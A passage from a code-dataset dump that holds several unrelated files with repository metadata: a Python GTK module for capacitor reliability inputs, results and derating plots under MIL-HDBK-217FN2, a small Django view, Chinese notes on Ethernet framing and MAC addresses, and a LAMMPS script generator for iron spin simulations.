49: [["", u"85\u00B0C", u"125\u00B0C", u"150\u00B0C"],
["", u"85\u00B0C", u"125\u00B0C"]],
50: [["", u"85\u00B0C", u"125\u00B0C"],
["", u"85\u00B0C"]],
51: [["", _(u"All")]],
52: [["", u"85\u00B0C", u"125\u00B0C", u"175\u00B0C"],
["", u"125\u00B0C"]],
53: [["", u"85\u00B0C", u"105\u00B0C", u"125\u00B0C"]],
54: [["", u"85\u00B0C"]],
55: [["", u"85\u00B0C", u"125\u00B0C"]],
56: [["", u"125\u00B0C", u"150\u00B0C"]],
57: [["", u"85\u00B0C"]],
58: [["", u"85\u00B0C", u"100\u00B0C", u"125\u00B0C"]]}
def __init__(self, model):
"""
Method to create an input frame for the Capacitor data model.
:param model: the :py:class:`rtk.hardware.component.capacitor.Capacitor.Model`
whose attributes will be displayed.
"""
gtk.Frame.__init__(self)
self.set_shadow_type(gtk.SHADOW_ETCHED_OUT)
# Define private dictionary attributes.
# Define private list attributes.
# Derating points for the derating curve. The list at position 0 is
# for severe environments. The list at position 1 is for benign
# environments.
self._lst_derate_criteria = [[0.6, 0.6, 0.0], [0.9, 0.9, 0.0]]
self._lst_count_labels = [_(u"Quality:"), _(u"Specification:")]
self._lst_stress_labels = [_(u"Quality:"),
_(u"\u03C0<sub>Q</sub> Override:"),
_(u"Rated Voltage:"),
_(u"Applied DC Voltage:"),
_(u"Applied AC Voltage:"),
_(u"Capacitance (F):"),
_(u"Specification:"),
_(u"Temperature Rating:")]
self._lst_quality = self.dicQuality[model.subcategory]
self._lst_specification = self.dicSpecification[model.subcategory]
self._lst_specsheet = self.dicSpecSheet[model.subcategory]
self._lst_construction = []
self._lst_handler_id = []
# Define private scalar attributes.
self._hardware_model = model
self._subcategory = model.subcategory
# Define public dictionary attributes.
# Define public list attributes.
# Define public scalar attributes.
self.cmbConfiguration = Widgets.make_combo(simple=True)
self.cmbConstruction = Widgets.make_combo(simple=True)
self.cmbQuality = Widgets.make_combo(simple=True)
self.cmbSpecification = Widgets.make_combo(simple=True)
self.cmbSpecSheet = Widgets.make_combo(simple=True)
self.txtACVoltApplied = Widgets.make_entry(width=100)
self.txtCapacitance = Widgets.make_entry(width=100)
self.txtCommercialPiQ = Widgets.make_entry(width=100)
self.txtEffResistance = Widgets.make_entry(width=100)
self.txtVoltRated = Widgets.make_entry(width=100)
self.txtVoltApplied = Widgets.make_entry(width=100)
# Subcategory specific attributes.
if self._subcategory == 51: # Solid tantalum
self._lst_stress_labels.append(_(u"Eff. Series Resistance:"))
elif self._subcategory == 52: # Non-solid tantalum
self._lst_construction = ["", _(u"Slug, All Tantalum"),
_(u"Foil, Hermetic"),
_(u"Slug, Hermetic"),
_(u"Foil, Non-Hermetic"),
_(u"Slug, Non-Hermetic")]
self._lst_stress_labels.append(_(u"Construction:"))
elif self._subcategory == 58: # Variable vacuum
self._lst_configuration = ["", _(u"Fixed"), _(u"Variable")]
self._lst_stress_labels.append(_(u"Configuration:"))
# Create the tooltips for all the input widgets.
self.cmbConfiguration.set_tooltip_text(_(u"Displays whether the "
u"selected capacitor is "
u"fixed or variable."))
self.cmbConstruction.set_tooltip_text(_(u"Displays the method of "
u"construction for the "
u"selected capacitor."))
self.cmbQuality.set_tooltip_text(_(u"Select and display the quality "
u"level for the selected "
u"capacitor."))
self.cmbSpecification.set_tooltip_text(_(u"Selects the governing "
u"specification for the "
u"selected capacitor."))
self.cmbSpecSheet.set_tooltip_text(_(u"Selects the maximum "
u"temperature rating for the "
u"selected capacitor."))
self.txtACVoltApplied.set_tooltip_text(_(u"Displays the peak "
u"operating AC voltage for "
u"the selected capacitor."))
self.txtCapacitance.set_tooltip_text(_(u"Display the capacitance in "
u"farads for the selected "
u"capacitor."))
self.txtCommercialPiQ.set_tooltip_text(_(u"Displays the user-defined "
u"quality factor for the "
u"selected capacitor. This "
u"value over rides the "
u"quality factor selected "
u"above."))
self.txtEffResistance.set_tooltip_text(_(u"Displays the effective "
u"series resistance between "
u"the power supply and the "
u"capacitor."))
self.txtVoltRated.set_tooltip_text(_(u"Displays the rated voltage for "
u"the selected capacitor."))
self.txtVoltApplied.set_tooltip_text(_(u"Display the operating DC "
u"voltage for the selected "
u"capacitor."))
# Connect signals to callback functions.
self._lst_handler_id.append(
self.cmbQuality.connect('changed', self._on_combo_changed, 0))
self._lst_handler_id.append(
self.txtCommercialPiQ.connect('focus-out-event',
self._on_focus_out, 1))
self._lst_handler_id.append(
self.txtVoltRated.connect('focus-out-event',
self._on_focus_out, 2))
self._lst_handler_id.append(
self.txtVoltApplied.connect('focus-out-event',
self._on_focus_out, 3))
self._lst_handler_id.append(
self.txtACVoltApplied.connect('focus-out-event',
self._on_focus_out, 4))
self._lst_handler_id.append(
self.txtCapacitance.connect('focus-out-event',
self._on_focus_out, 5))
self._lst_handler_id.append(
self.cmbSpecification.connect('changed',
self._on_combo_changed, 6))
self._lst_handler_id.append(
self.cmbSpecSheet.connect('changed', self._on_combo_changed, 7))
self._lst_handler_id.append(
self.txtEffResistance.connect('focus-out-event',
self._on_focus_out, 8))
self._lst_handler_id.append(
self.cmbConstruction.connect('changed', self._on_combo_changed, 9))
self._lst_handler_id.append(
self.cmbConfiguration.connect('changed',
self._on_combo_changed, 10))
def create_217_count_inputs(self, x_pos=5):
"""
Method to create the MIL-HDBK-217FN2 parts count input widgets for
Capacitors.
:keyword int x_pos: the x position of the display widgets.
:return: False if successful or True if an error is encountered.
:rtype: bool
"""
_label = gtk.Label()
_label.set_markup("<span weight='bold'>" +
_(u"MIL-HDBK-217FN2 Parts Count Inputs") +
"</span>")
_label.set_justify(gtk.JUSTIFY_LEFT)
_label.set_alignment(xalign=0.5, yalign=0.5)
_label.show_all()
self.set_label_widget(_label)
_fixed = gtk.Fixed()
_scrollwindow = gtk.ScrolledWindow()
_scrollwindow.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
_scrollwindow.add_with_viewport(_fixed)
self.add(_scrollwindow)
# Populate all the gtk.ComboBox().
for i in range(len(self._lst_quality)):
self.cmbQuality.insert_text(i, self._lst_quality[i])
for i in range(len(self._lst_specification)):
self.cmbSpecification.insert_text(i, self._lst_specification[i])
# Create and place all the labels for the inputs.
(_x_pos,
_y_pos) = Widgets.make_labels(self._lst_count_labels, _fixed, 5, 5)
_x_pos = max(x_pos, _x_pos) + 50
# Place all the input widgets.
if self.cmbQuality.get_parent() is not None:
self.cmbQuality.reparent(_fixed)
if self.cmbSpecification.get_parent() is not None:
self.cmbSpecification.reparent(_fixed)
_fixed.put(self.cmbQuality, _x_pos, _y_pos[0])
_fixed.put(self.cmbSpecification, _x_pos, _y_pos[1])
_fixed.show_all()
return _x_pos
def create_217_stress_inputs(self, x_pos=5):
"""
Method to create the MIL-HDBK-217FN2 part stress input widgets for
Capacitors.
:keyword int x_pos: the x position of the display widgets.
:return: False if successful or True if an error is encountered.
:rtype: bool
"""
_label = gtk.Label()
_label.set_markup("<span weight='bold'>" +
_(u"MIL-HDBK-217FN2 Part Stress Inputs") +
"</span>")
_label.set_justify(gtk.JUSTIFY_LEFT)
_label.set_alignment(xalign=0.5, yalign=0.5)
_label.show_all()
self.set_label_widget(_label)
_fixed = gtk.Fixed()
_scrollwindow = gtk.ScrolledWindow()
_scrollwindow.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
_scrollwindow.add_with_viewport(_fixed)
self.add(_scrollwindow)
# Populate all the gtk.ComboBox().
for i in range(len(self._lst_quality)):
self.cmbQuality.insert_text(i, self._lst_quality[i])
for i in range(len(self._lst_specification)):
self.cmbSpecification.insert_text(i, self._lst_specification[i])
# Create and place all the labels for the inputs.
(_x_pos,
_y_pos) = Widgets.make_labels(self._lst_stress_labels, _fixed, 5, 5)
_x_pos = max(x_pos, _x_pos) + 50
# Place all the input widgets.
if self.cmbQuality.get_parent is not None:
self.cmbQuality.reparent(_fixed)
if self.cmbSpecification.get_parent is not None:
self.cmbSpecification.reparent(_fixed)
_fixed.put(self.cmbQuality, _x_pos, _y_pos[0])
_fixed.put(self.txtCommercialPiQ, _x_pos, _y_pos[1])
_fixed.put(self.txtVoltRated, _x_pos, _y_pos[2])
_fixed.put(self.txtVoltApplied, _x_pos, _y_pos[3])
_fixed.put(self.txtACVoltApplied, _x_pos, _y_pos[4])
_fixed.put(self.txtCapacitance, _x_pos, _y_pos[5])
_fixed.put(self.cmbSpecification, _x_pos, _y_pos[6])
_fixed.put(self.cmbSpecSheet, _x_pos, _y_pos[7])
if self._subcategory == 51: # Solid tantalum
_fixed.put(self.txtEffResistance, _x_pos, _y_pos[8])
elif self._subcategory == 52: # Non-solid tantalum
for i in range(len(self._lst_construction)):
self.cmbConstruction.insert_text(i, self._lst_construction[i])
_fixed.put(self.cmbConstruction, _x_pos, _y_pos[8])
elif self._subcategory == 58: # Gas or vacuum
for i in range(len(self._lst_configuration)):
self.cmbConfiguration.insert_text(i,
self._lst_configuration[i])
_fixed.put(self.cmbConfiguration, _x_pos, _y_pos[8])
_fixed.show_all()
return _x_pos
def load_217_count_inputs(self, model):
"""
Method to load the Capacitor class gtk.Widgets() with MIL-HDBK-217FN2
parts count calculation inputs.
:param model: the :py:class:`rtk.hardware.component.capacitor.Capacitor.Model`
to load the attributes from.
:return: False if successful or True if an error is encountered.
:rtype: bool
"""
self.cmbQuality.set_active(int(model.quality))
self.cmbSpecification.set_active(int(model.specification))
return False
def load_217_stress_inputs(self, model):
"""
Method to load the Capacitor class gtk.Widgets() with MIL-HDBK-217FN2
part stress calculation inputs.
:param model: the :py:class:`rtk.hardware.component.capacitor.Capacitor.Model`
to load the attributes from.
:return: False if successful or True if an error is encountered.
:rtype: bool
"""
fmt = '{0:0.' + str(Configuration.PLACES) + 'G}'
self.cmbQuality.set_active(int(model.quality))
self.txtCommercialPiQ.set_text(str(fmt.format(model.q_override)))
self.txtVoltRated.set_text(str(fmt.format(model.rated_voltage)))
self.txtVoltApplied.set_text(str(fmt.format(model.operating_voltage)))
self.txtACVoltApplied.set_text(str(fmt.format(model.acvapplied)))
self.txtCapacitance.set_text(str('{0:0.8G}'.format(model.capacitance)))
# Load subcategory specific widgets.
if self._subcategory in [40, 41, 42, 43, 46, 47, 48, 49, 50, 52, 53,
54, 55, 56, 57, 58]:
self.cmbSpecification.set_active(int(model.specification))
if self._subcategory in [40, 41, 42, 43, 44, 46, 47, 48, 49, 50, 52,
53, 54, 55, 56, 57, 58]:
self.cmbSpecSheet.set_active(int(model.spec_sheet))
if self._subcategory == 51:
self.txtEffResistance.set_text(
str(fmt.format(model.effective_resistance)))
if self._subcategory == 52:
self.cmbConstruction.set_active(int(model.construction))
if self._subcategory == 58:
self.cmbConfiguration.set_active(int(model.configuration))
return False
def _on_combo_changed(self, combo, index):
"""
Method to respond to gtk.ComboBox() changed signals and calls the
correct function or method, passing any parameters as needed.
:param gtk.ComboBox combo: the gtk.ComboBox() that called this method.
:param int index: the index in the handler ID list oc the callback
signal associated with the gtk.ComboBox() that
called this method.
:return: False if successful or True is an error is encountered.
:rtype: bool
"""
combo.handler_block(self._lst_handler_id[index])
if index == 0:
self._hardware_model.quality = combo.get_active()
elif index == 6:
self._hardware_model.specification = combo.get_active()
self._load_spec_sheet(self._hardware_model.specification - 1)
elif index == 7:
self._hardware_model.spec_sheet = combo.get_active()
try:
self._hardware_model.reference_temperature = \
self._hardware_model.lst_ref_temp[combo.get_active() - 1]
except IndexError:
print self._hardware_model.name, self._hardware_model.lst_ref_temp
elif index == 9:
self._hardware_model.construction = combo.get_active()
elif index == 10:
self._hardware_model.configuration = combo.get_active()
combo.handler_unblock(self._lst_handler_id[index])
return False
def _on_focus_out(self, entry, __event, index):
"""
Method to respond to gtk.Entry() focus_out signals and calls the
correct function or method, passing any parameters as needed.
:param gtk.Entry entry: the gtk.Entry() that called this method.
:param gtk.gdk.Event __event: the gtk.gdk.Event() that called this
method.
:param int index: the index in the handler ID list of the callback
signal associated with the gtk.Entry() that
called this method.
:return: False if successful or True is an error is encountered.
:rtype: bool
"""
entry.handler_block(self._lst_handler_id[index])
if index == 1:
self._hardware_model.q_override = float(entry.get_text())
elif index == 2:
self._hardware_model.rated_voltage = float(entry.get_text())
elif index == 3:
self._hardware_model.operating_voltage = float(entry.get_text())
elif index == 4:
self._hardware_model.acvapplied = float(entry.get_text())
elif index == 5:
self._hardware_model.capacitance = float(entry.get_text())
elif index == 8:
self._hardware_model.effective_resistance = float(entry.get_text())
entry.handler_unblock(self._lst_handler_id[index])
return False
def _load_spec_sheet(self, specification):
"""
Method to load the specification sheet gtk.ComboBox() whenever a new
specification is selected.
:param int specification: the selected specification index.
:return: False if successful or True if an error is encountered.
:rtype: bool
"""
# Remove existing entries.
_model = self.cmbSpecSheet.get_model()
_model.clear()
# Load the new entries.
_n_spec_sheets = len(self._lst_specsheet[specification])
for i in range(_n_spec_sheets):
self.cmbSpecSheet.insert_text(
i, self._lst_specsheet[specification][i])
return False
class Results(gtk.Frame):
"""
The Work Book view for displaying all the output attributes for a
capacitor. The output attributes of a capacitor Work Book view are:
"""
def __init__(self, model):
"""
Method to initialize an instance of the Capacitor assessment results
view.
:param int subcategory: the Capacitor subcategory ID of the component
to create the view for.
:return: False if successful or True if an error is encountered.
:rtype: bool
"""
gtk.Frame.__init__(self)
# Define private dictionary attributes.
# Define private list attributes.
self._lst_count_labels = [u"<span foreground=\"blue\">\u03BB<sub>EQUIP</sub> = \u03BB<sub>g</sub>\u03C0<sub>Q</sub></span>", u"\u03BB<sub>g</sub>:",
u"\u03C0<sub>Q</sub>:"]
self._lst_stress_labels = ['', u"\u03BB<sub>b</sub>:",
u"\u03C0<sub>Q</sub>:",
u"\u03C0<sub>E</sub>:",
u"\u03C0<sub>CV</sub>:"]
# Define private scalar attributes.
self._hardware_model = model
self._subcategory = model.subcategory
# Define public dictionary attributes.
# Define public list attributes.
# Define public scalar attributes.
self.txtLambdaB = Widgets.make_entry(width=100, editable=False,
bold=True)
self.txtPiQ = Widgets.make_entry(width=100, editable=False, bold=True)
self.txtPiE = Widgets.make_entry(width=100, editable=False, bold=True)
self.txtPiCV = Widgets.make_entry(width=100, editable=False, bold=True)
self.txtPiSR = Widgets.make_entry(width=100, editable=False, bold=True)
self.txtPiC = Widgets.make_entry(width=100, editable=False, bold=True)
self.txtPiCF = Widgets.make_entry(width=100, editable=False, bold=True)
self.figDerate = Figure(figsize=(6, 4))
self.axsDerate = self.figDerate.add_subplot(111)
self.pltDerate = FigureCanvas(self.figDerate)
# Subcategory specific attributes.
if self._subcategory in [40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
53, 54]:
self._lst_stress_labels[0] = u"<span foreground=\"blue\">\u03BB<sub>p</sub> = \u03BB<sub>b</sub>\u03C0<sub>Q</sub>\u03C0<sub>E</sub>\u03C0<sub>CV</sub></span>"
elif self._subcategory == 51: # Solid tantalum
self._lst_stress_labels[0] = u"<span foreground=\"blue\">\u03BB<sub>p</sub> = \u03BB<sub>b</sub>\u03C0<sub>Q</sub>\u03C0<sub>E</sub>\u03C0<sub>CV</sub>\u03C0<sub>SR</sub></span>"
self._lst_stress_labels.append(u"\u03C0<sub>SR</sub>:")
elif self._subcategory == 52: # Non-solid tantalum
self._lst_stress_labels[0] = u"<span foreground=\"blue\">\u03BB<sub>p</sub> = \u03BB<sub>b</sub>\u03C0<sub>Q</sub>\u03C0<sub>E</sub>\u03C0<sub>CV</sub>\u03C0<sub>C</sub></span>"
self._lst_stress_labels.append(u"\u03C0<sub>C</sub>:")
elif self._subcategory in [55, 56, 57]:
self._lst_stress_labels[0] = u"<span foreground=\"blue\">\u03BB<sub>p</sub> = \u03BB<sub>b</sub>\u03C0<sub>Q</sub>\u03C0<sub>E</sub></span>"
self._lst_stress_labels.pop(4)
elif self._subcategory == 58:
self._lst_stress_labels[0] = u"<span foreground=\"blue\">\u03BB<sub>p</sub> = \u03BB<sub>b</sub>\u03C0<sub>Q</sub>\u03C0<sub>E</sub>\u03C0<sub>CF</sub></span>"
self._lst_stress_labels[4] = u"\u03C0<sub>CF</sub>:"
# Create the tooltips for all the results widgets.
self.txtPiQ.set_tooltip_text(_(u"Displays the quality factor for the "
u"selected capacitor."))
self.txtPiQ.set_tooltip_text(_(u"Displays the quality factor for the "
u"selected capacitor."))
self.txtPiE.set_tooltip_text(_(u"Displays the environement factor for "
u"the selected capacitor."))
self.txtPiCV.set_tooltip_text(_(u"Displays the capacitance correction "
u"factor for the selected capacitor."))
self.txtPiSR.set_tooltip_text(_(u"Displays the effective series "
u"resistance factor for the selected "
u"capacitor."))
self.txtPiC.set_tooltip_text(_(u"Displays the construction factor "
u"for the selected capacitor."))
self.txtPiCF.set_tooltip_text(_(u"Displays the configuration factor "
u"for the selected capacitor."))
def create_217_count_results(self, x_pos=5):
"""
Method to create the MIL-HDBK-217FN2 parts count result widgets for
Capacitors.
:keyword int x_pos: the x position of the display widgets.
:return: _x_pos: the x-coordinate of the widgets.
:rtype: int
"""
_label = gtk.Label()
_label.set_markup("<span weight='bold'>" +
_(u"MIL-HDBK-217FN2 Parts Count Results") +
"</span>")
_label.set_justify(gtk.JUSTIFY_LEFT)
_label.set_alignment(xalign=0.5, yalign=0.5)
_label.show_all()
self.set_label_widget(_label)
_fixed = gtk.Fixed()
_scrollwindow = gtk.ScrolledWindow()
_scrollwindow.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
_scrollwindow.add_with_viewport(_fixed)
self.add(_scrollwindow)
# Create and place all the labels for the inputs.
(_x_pos,
_y_pos) = Widgets.make_labels(self._lst_count_labels, _fixed, 5, 25)
_x_pos = max(x_pos, _x_pos) + 25
# Create the tooltips for all the results display widgets.
self.txtLambdaB.set_tooltip_text(_(u"Displays the generic hazard rate "
u"for the selected capacitor."))
# Place the reliability result display widgets.
if self.txtLambdaB.get_parent() is not None:
self.txtLambdaB.reparent(_fixed)
if self.txtPiQ.get_parent() is not None:
self.txtPiQ.reparent(_fixed)
_fixed.put(self.txtLambdaB, _x_pos, _y_pos[1])
_fixed.put(self.txtPiQ, _x_pos, _y_pos[2])
_fixed.show_all()
return _x_pos
def create_217_stress_results(self, x_pos=5):
"""
Method to create the MIL-HDBK-217FN2 part stress result widgets for
Capacitors.
:keyword int x_pos: the x position of the display widgets.
:return: _x_pos: the x-coordinate of the widgets.
:rtype: int
"""
_label = gtk.Label()
_label.set_markup("<span weight='bold'>" +
_(u"MIL-HDBK-217FN2 Part Stress Results") +
"</span>")
_label.set_justify(gtk.JUSTIFY_LEFT)
_label.set_alignment(xalign=0.5, yalign=0.5)
_label.show_all()
self.set_label_widget(_label)
_fixed = gtk.Fixed()
_scrollwindow = gtk.ScrolledWindow()
_scrollwindow.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
_scrollwindow.add_with_viewport(_fixed)
self.add(_scrollwindow)
# Create and place all the labels for the inputs.
(_x_pos,
_y_pos) = Widgets.make_labels(self._lst_stress_labels, _fixed, 5, 25)
_x_pos = max(x_pos, _x_pos) + 25
# Create the tooltips for all the results display widgets.
self.txtLambdaB.set_tooltip_text(_(u"Displays the base hazard rate "
u"for the selected capacitor."))
# Place the reliability result display widgets.
if self.txtLambdaB.get_parent() is not None:
self.txtLambdaB.reparent(_fixed)
if self.txtPiQ.get_parent() is not None:
self.txtPiQ.reparent(_fixed)
_fixed.put(self.txtLambdaB, _x_pos, _y_pos[1])
_fixed.put(self.txtPiQ, _x_pos, _y_pos[2])
_fixed.put(self.txtPiE, _x_pos, _y_pos[3])
# Subcategory specific widgets.
if self._subcategory == 51:
_fixed.put(self.txtPiSR, _x_pos, _y_pos[5])
elif self._subcategory == 52:
_fixed.put(self.txtPiC, _x_pos, _y_pos[5])
elif self._subcategory not in [55, 56, 57, 58]: # Not variable
_fixed.put(self.txtPiCV, _x_pos, _y_pos[4])
if self._subcategory == 58:
_fixed.put(self.txtPiCF, _x_pos, _y_pos[4])
_fixed.show_all()
return _x_pos
def load_217_count_results(self, model):
"""
Method to load the Capacitor class MIL-HDBK-217 parts count result
gtk.Widgets().
:param model: the :py:class:`rtk.hardware.component.capacitor.Capacitor.Model`
to load the attributes from.
:return: False if successful or True if an error is encountered.
:rtype: bool
"""
fmt = '{0:0.' + str(Configuration.PLACES) + 'G}'
self.txtLambdaB.set_text(str(fmt.format(model.base_hr)))
self.txtPiQ.set_text(str(fmt.format(model.piQ)))
return False
def load_217_stress_results(self, model):
"""
Method to load the Capacitor class MIL-HDBK-217 part stress result
gtk.Widgets().
:param model: the :py:class:`rtk.hardware.component.capacitor.Capacitor.Model`
to load the attributes from.
:return: False if successful or True if an error is encountered.
:rtype: bool
"""
fmt = '{0:0.' + str(Configuration.PLACES) + 'G}'
self.txtLambdaB.set_text(str(fmt.format(model.base_hr)))
self.txtPiQ.set_text(str(fmt.format(model.piQ)))
self.txtPiE.set_text(str(fmt.format(model.piE)))
self.txtPiCV.set_text(str(fmt.format(model.piCV)))
if self._subcategory == 51:
self.txtPiSR.set_text(str(fmt.format(model.piSR)))
elif self._subcategory == 52:
self.txtPiC.set_text(str(fmt.format(model.piC)))
elif self._subcategory == 58:
self.txtPiCF.set_text(str(fmt.format(model.piCF)))
return False
def load_derate_plot(self, model, frame):
"""
Method to load the stress derate plot for the Capacitor class.
:param model: the :py:class:`rtk.hardware.component.capacitor.Capacitor.Model`
to load the plot for.
:param gtk.Frame frame: the gtk.Frame() to embed the derate plot into.
:return: False if successful or True if an error is encountered.
:rtype: bool
"""
# Clear the operating point and derating curve for the component. We
# do this here so the component-specific GUI will set the proper x and
# y-axis labels.
self.axsDerate.cla()
# Plot the derating curve and operating point.
_x = [float(model.min_rated_temperature),
float(model.knee_temperature),
float(model.max_rated_temperature)]
self.axsDerate.plot(_x, model.lst_derate_criteria[0], 'r.-',
linewidth=2)
self.axsDerate.plot(_x, model.lst_derate_criteria[1], 'b.-',
linewidth=2)
self.axsDerate.plot(model.temperature_active,
model.voltage_ratio, 'go')
if(_x[0] != _x[2] and
model.lst_derate_criteria[1][0] != model.lst_derate_criteria[1][2]):
self.axsDerate.axis([0.95 * _x[0], 1.05 * _x[2],
model.lst_derate_criteria[1][2],
1.05 * model.lst_derate_criteria[1][0]])
else:
self.axsDerate.axis([0.95, 1.05, 0.0, 1.05])
self.axsDerate.set_title(_(u"Voltage Derating Curve for %s at %s") %
(model.part_number, model.ref_des),
fontdict={'fontsize': 12,
'fontweight': 'bold',
'verticalalignment': 'baseline'})
_legend = tuple([_(u"Harsh Environment"), _(u"Mild Environment"),
_(u"Voltage Operating Point")])
_leg = self.axsDerate.legend(_legend, loc='upper right', shadow=True)
for _text in _leg.get_texts():
_text.set_fontsize('small')
# Set the proper labels on the derating curve.
self.axsDerate.set_xlabel(_(u"Temperature (\u2070C)"),
fontdict={'fontsize': 12,
'fontweight': 'bold'})
self.axsDerate.set_ylabel(r'$\mathbf{V_{op} / V_{rated}}$',
fontdict={'fontsize': 12,
'fontweight': 'bold',
'rotation': 'vertical',
'verticalalignment': 'baseline'})
self.figDerate.tight_layout()
frame.add(self.pltDerate)
frame.show_all()
return False
| [
"[email protected]"
] | |
c3016ff7a972f62e2906adc7b0164ee77a5a2a1c | ebfac951b49ba380d4b88e0c6308aea326597381 | /chatrender/views/chat_types.py | 7b37509617634b9ce6f0f47cc6e770b11a026be2 | [
"MIT"
] | permissive | The-Politico/django-politico-slackchat-renderer | 2e4175359a4df004526722a190040cef767837fd | adb3ed2ba5039a97ee7b021d39aa40cab11e5661 | refs/heads/master | 2022-12-10T10:57:51.796473 | 2018-05-22T15:37:57 | 2018-05-22T15:37:57 | 120,328,521 | 2 | 0 | MIT | 2022-12-08T02:09:33 | 2018-02-05T16:10:25 | JavaScript | UTF-8 | Python | false | false | 431 | py | import requests
from chatrender.conf import settings
from django.contrib.admin.views.decorators import staff_member_required
from django.shortcuts import render
@staff_member_required
def chat_types(request):
response = requests.get(settings.SLACKCHAT_CHATTYPE_ENDPOINT)
context = response.json()
return render(
request,
'chatrender/chattype_list.html',
context={"chat_types": context}
)
| [
"[email protected]"
] | |
9d48aa9c700b4a07e4a8f8bcbda6c8fb2120b598 | bad08ce4b707f8d479a6f9d6562f90d397042df7 | /Python/python-socket-网络协议.py | eb95bcb6957946195c1044ca5c82f8d396114488 | [] | no_license | lengyue1024/notes | 93bf4ec614cbde69341bc7e4decad169a608ff39 | 549358063da05057654811a352ae408e48498f25 | refs/heads/master | 2020-04-29T07:14:45.482919 | 2019-03-16T07:51:26 | 2019-03-16T07:51:26 | 175,945,339 | 2 | 0 | null | 2019-03-16T08:19:53 | 2019-03-16T08:19:52 | null | GB18030 | Python | false | false | 2,273 | py | ----------------------------
网络协议入门 |
----------------------------
----------------------------
网络-物理层和链路层 |
----------------------------
* 以太网协议(ethernet)
* 一组电信号组成一个数据包,叫做 - 帧
* 每一帧分为:报头(head)和数据(data)两部分
———————————————————————————————
|head| data |
———————————————————————————————
* head(固定18个字节)
* 发送者/源地址 :6个字节
* 接收者/目标地址 :6个字节
* 数据类型 :6个字节
* data(最短64字节,最长1500字节)
* 数据包的具体内容
* head + data 最大长度就是 1518字节 (1500 +18),超过长度,就分片发送
* mac地址
* head 中包含的源地址和目标地址的由来.
* ethernet 规定,接入internet的设备,都必须要具备网卡,发送端和接收端的地址,就是指网卡地址,也就是mac地址
* 每块网卡出厂时,都被烧录了世界上唯一的mac地址,长度为 48 位 2进制,通常由 12 位 16进制 表示
00:16:3e:16:0b:5e
* 前面6位是厂商编号
* 后面6位是流水号
* 广播
* 有了mac地址,同一个网络内的两台主机就可以通信了(一台主机通过arp协议获取另一台主机的mac地址)
* ethernet 采用最原始的方式 - 广播,方式进行通信,通俗点.计算机通信基本靠吼
IEEE802.1Q
———————————————————————————————————————————————————————————————————————————
|目标mac地址 |发送源mac地址 |TDIP |TCI |类型 |数据部分 |CRC |
———————————————————————————————————————————————————————————————————————————
目标mac地址 :6字节
发送源mac地址 :6字节
TDIP :0x8100
TCI :内含12个bit的vlan标识
类型 :2字节
数据部分 :46 - 1500 字节
CRC :4字节,经过重新计算
| [
"[email protected]"
] | |
1f459741a34f6b06e0c9856c6a59f86fee6acd63 | a3cdfaf2d4d72f4d1c8bd2a9d3e8ce1f6d0316ca | /Research Files/10x10x10_moving/10x10x10movinglammpsscriptgenerator.py | e24983c5d7ba1cc8fa3588b9ef5309dd69d9177a | [] | no_license | webclinic017/Personal-Projects | d61e3f5ad1e1c12c611ae088fa64050dc2f4693b | 4e730e350e5698bb40bbdb1526596c6a8a3c5596 | refs/heads/master | 2023-06-10T23:00:50.948934 | 2021-07-03T00:46:19 | 2021-07-03T00:46:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,014 | py | #!/usr/bin/env python
if __name__ == '__main__':
temperature = 50
for i in range(1,21):
temp = int(temperature) * i
if temp == 1000:
temp_string = "99_1000"
else:
temp_string = str(temp)
f = open("10x10x10_{}k_moving_py.lmp".format(temp_string), "w+")
f.write("# bcc iron in a 3d periodic box\n\n")
f.write("clear\n")
f.write("units metal\n")
f.write("atom_style spin\n\n")
f.write("dimension 3\n")
f.write("boundary p p p\n\n")
f.write("# necessary for the serial algorithm (sametag)\n")
f.write("atom_modify map array \n\n")
f.write("lattice bcc 2.8665\n")
f.write("region box block 0.0 10.0 0.0 10.0 0.0 10.0\n")
f.write("create_box 1 box\n")
f.write("create_atoms 1 box\n\n")
f.write("# setting mass, mag. moments, and interactions for bcc iron\n\n")
f.write("mass 1 55.845\n\n")
f.write("# set group all spin/random 31 2.2\n")
f.write("set group all spin 2.2 0.0 0.0 1.0\n")
f.write("pair_style hybrid/overlay eam/alloy spin/exchange 3.5\n")
f.write("pair_coeff * * eam/alloy Fe_Mishin2006.eam.alloy Fe\n")
f.write("pair_coeff * * spin/exchange exchange 3.4 0.02726 0.2171 1.841\n\n")
f.write("neighbor 0.1 bin\n")
f.write("neigh_modify every 10 check yes delay 20\n\n")
f.write("fix 1 all precession/spin zeeman 0.0 0.0 0.0 1.0\n")
f.write("fix_modify 1 energy yes\n")
f.write("fix 2 all langevin/spin {}.0 0.01 21\n\n".format(int(temp)))
f.write("fix 3 all nve/spin lattice moving\n")
f.write("timestep 0.0001\n\n")
f.write("# compute and output options\n\n")
f.write("compute out_mag all spin\n")
f.write("compute out_pe all pe\n")
f.write("compute out_ke all ke\n")
f.write("compute out_temp all temp\n\n")
f.write("variable magz equal c_out_mag[3]\n")
f.write("variable magnorm equal c_out_mag[4]\n")
f.write("variable emag equal c_out_mag[5]\n")
f.write("variable tmag equal c_out_mag[6]\n\n")
f.write("thermo_style custom step time v_magnorm v_tmag temp v_emag ke pe press etotal\n")
f.write("thermo 5000\n\n")
f.write("compute outsp all property/atom spx spy spz sp fmx fmy fmz\n")
f.write("dump 1 all custom 100 dump_iron.lammpstrj type x y z c_outsp[1] c_outsp[2] c_outsp[3]\n\n")
f.write("run 100000\n")
f.write("# run 2\n\n")
f.write("unfix 3\n")
f.write("fix 3 all nve/spin lattice moving\n")
f.write("velocity all create {} 4928459 rot yes dist gaussian\n\n".format(int(temp)))
f.write("run 100000")
f.close()
| [
"[email protected]"
] | |
6f97e11be404d475c96c2f5c4625ac4c0a5f12cb | bfe6c95fa8a2aae3c3998bd59555583fed72900a | /lengthOfLIS.py | 0416711c4a259c5b75a686e99c23b0c224139c4f | [] | no_license | zzz136454872/leetcode | f9534016388a1ba010599f4771c08a55748694b2 | b5ea6c21bff317884bdb3d7e873aa159b8c30215 | refs/heads/master | 2023-09-01T17:26:57.624117 | 2023-08-29T03:18:56 | 2023-08-29T03:18:56 | 240,464,565 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 991 | py | # one solution
